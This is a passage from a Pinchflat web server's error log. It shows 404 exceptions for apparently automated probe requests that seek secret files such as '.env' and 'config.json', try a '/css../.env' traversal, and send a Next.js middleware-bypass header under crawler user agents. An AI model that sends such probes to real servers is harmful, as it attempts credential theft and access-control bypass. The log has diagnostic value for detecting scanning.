pinchflat.burns-family.net:80 (http) Request: GET /config.json.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config.json (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29856.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34768}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29857.0>, params: %{}, path_info: ["config.json"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "CCBot/2.0 (https://commoncrawl.org/faq/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/config.json.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61lAElB2tz6UABwjh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29856.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34768}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config.json (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29856.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34768}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params (truncated) 16:49:10.192 [info] GET /.env.js 16:49:10.192 [debug] QUERY OK source="settings" db=0.1ms idle=73.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.192 [debug] QUERY OK source="settings" db=0.0ms idle=34.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.192 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.192 [error] #PID<0.29859.0> running PinchflatWeb.Endpoint (connection #PID<0.29858.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29858.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34770}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29859.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61lH-gBltptQABwkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29858.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34770}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29858.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34770}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, (truncated) 16:49:10.227 [info] GET /public/env.js 16:49:10.227 [debug] QUERY OK source="settings" db=0.1ms idle=69.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.228 [debug] QUERY OK source="settings" db=0.1ms idle=68.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.228 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.228 [error] #PID<0.29861.0> running PinchflatWeb.Endpoint (connection #PID<0.29860.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /public/env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29860.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34776}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29861.0>, params: %{}, path_info: ["public", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "CCBot/2.0 (https://commoncrawl.org/faq/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/public/env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61lQb7YAf4dgABwkh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29860.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34776}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29860.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34776}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{} (truncated) 16:49:10.257 [info] GET /css../.env 16:49:10.258 [debug] QUERY OK source="settings" db=0.0ms idle=98.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.258 [debug] QUERY OK source="settings" db=0.1ms idle=65.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.258 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.258 [error] #PID<0.29863.0> running PinchflatWeb.Endpoint (connection #PID<0.29862.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /css../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /css../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29862.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34778}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29863.0>, params: %{}, path_info: ["css..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/css../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61lXp5nT0xzQABwlB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 